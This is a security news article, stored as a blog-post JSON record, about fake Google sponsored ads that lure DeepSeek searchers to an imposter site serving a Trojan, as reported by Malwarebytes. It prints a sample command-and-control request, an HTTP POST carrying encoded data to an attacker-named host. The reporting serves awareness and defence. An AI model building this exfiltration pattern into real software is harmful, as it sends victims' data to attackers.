{"id":97480,"date":"2025-03-28T08:08:53","date_gmt":"2025-03-28T08:08:53","guid":{"rendered":"https:\/\/cybersecuritynews.com\/?p=97480"},"modified":"2025-03-28T08:08:56","modified_gmt":"2025-03-28T08:08:56","slug":"weaponized-google-ads-attacking-deepseek-users","status":"publish","type":"post","link":"https:\/\/cybersecuritynews.com\/weaponized-google-ads-attacking-deepseek-users\/","title":{"rendered":"Weaponized Google Ads Attacking DeepSeek Users to Deliver Malware"},"content":{"rendered":"\n<p>Cybercriminals have launched a sophisticated attack campaign leveraging Google&#8217;s sponsored search results to target users searching for DeepSeek, the increasingly popular AI platform.<\/p>\n\n\n\n<p>The attack uses convincingly crafted <a href=\"https:\/\/cybersecuritynews.com\/fakebat-malware-via-google-ads\/\" target=\"_blank\" rel=\"noreferrer noopener\">fake advertisements<\/a> that appear at the top of Google search results, mimicking legitimate DeepSeek ads but redirecting victims to malicious websites designed to distribute malware.<\/p>\n\n\n\n<p>This campaign represents a growing trend of threat actors exploiting trusted digital advertising platforms to deliver malicious payloads to unsuspecting users.<\/p>\n\n\n\n<p>The attack begins when users search for DeepSeek on Google and encounter sponsored results that appear authentic at first glance.<\/p>\n\n\n\n<p>The malicious ads direct users to carefully constructed <a href=\"https:\/\/cybersecuritynews.com\/fake-winrar-ransomware-github\/\" target=\"_blank\" rel=\"noreferrer noopener\">fake websites<\/a> that closely resemble the official DeepSeek platform.<\/p>\n\n\n\n<p>These imposter sites feature download buttons that, when clicked, deliver a <a href=\"https:\/\/cybersecuritynews.com\/android-banking-trojan-google-play-mimic\/\" target=\"_blank\" rel=\"noreferrer noopener\">Trojan<\/a> programmed in Microsoft Intermediate Language (MSIL), demonstrating the attackers&#8217; technical sophistication in creating cross-platform threats that could potentially target macOS users.<\/p>\n\n\n\n<p>Malwarebytes researchers <a href=\"https:\/\/www.malwarebytes.com\/blog\/news\/2025\/03\/deepseek-users-targeted-with-fake-sponsored-google-ads-that-deliver-malware\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> the malware delivered through these fake ads as &#8220;Malware.AI.1323738514&#8221; through their Artificial Intelligence detection module.<\/p>\n\n\n\n<p>The researchers noted that the campaign&#8217;s success rate appears high enough that attackers can afford to outbid legitimate brands for sponsored placement in Google&#8217;s search results, indicating a potentially lucrative operation.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Infection Mechanism Analysis<\/strong><\/h2>\n\n\n\n<p>The infection chain demonstrates remarkable attention to detail in social engineering tactics.<\/p>\n\n\n\n<p>The fake website &#8220;deepseek-ai-soft.com&#8221; implements design elements that closely mimic legitimate AI platforms, complete with convincing copy promising &#8220;DeepSeek-R1&#8221; availability &#8220;on web, app, and API&#8221; and marketing phrases like &#8220;Better than ChatGPT&#8221; to entice downloads.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhwTrtV5svc6IBqvxwHCqwMljadjL_x178SI7sfE_EYWbQs_LLTnsJv6zxEFLYgP9ga62ZUhNey2EbY4z455HCsHyXa0igyRgJHHXyJwfRvOiAaVciWrgt_3GKAKhkk-6awzNs83re9ZaNydR1ST2L5QKmHFaJjq1vCKl5QYdTsfg-ImEhyphenhypheno6bMEE6Vy8M\/s16000\/Fake%20ad%20(Source%20-%20Malwarebytes).webp\" alt=\"\" \/><figcaption class=\"wp-element-caption\">Fake ad (Source &#8211; Malwarebytes)<\/figcaption><\/figure><\/div>\n\n\n<p>When analyzing the network traffic from infected systems, the <a href=\"https:\/\/cybersecuritynews.com\/malware-analysis\/\" target=\"_blank\" rel=\"noreferrer noopener\">malware<\/a> establishes persistent connections to command-and-control servers using the following communication pattern:-<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/ingest\/status HTTP\/1.1\nHost: c2-deepseek-metrics.net\nContent-Type: application\/json\nUser-Agent: DeepSeekUpdater\/1.2.3\nCookie: session=&#091;encoded_base64_data]<\/code><\/pre>\n\n\n\n<p>The malware&#8217;s infection mechanism exploits the growing public interest in AI tools, with DeepSeek being merely one vector in what appears to be a broader campaign.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhbBJbMNh0B4KdBLhOtvXBnkX70ruXHUnl4xdhczlGMxDGfYefUOF7KvB_BvHh34Xa35LiaE1VwyE8j_-vaR37uRCCxHFHBzPDh1FkqlhMPNOJjPeK6Cq99rTcgIzxlbhwF3prMEbYU3NSGJEVRlucmQcTfc850MzFZntn2cH3mO3GG_l5l0EuwouQinf0\/s16000\/Fake%20website%20which%20the%20advertisement%20linked%20to%20(Source%20-%20Malwarebytes).webp\" alt=\"\" \/><figcaption class=\"wp-element-caption\">Fake website which the advertisement linked to (Source &#8211; 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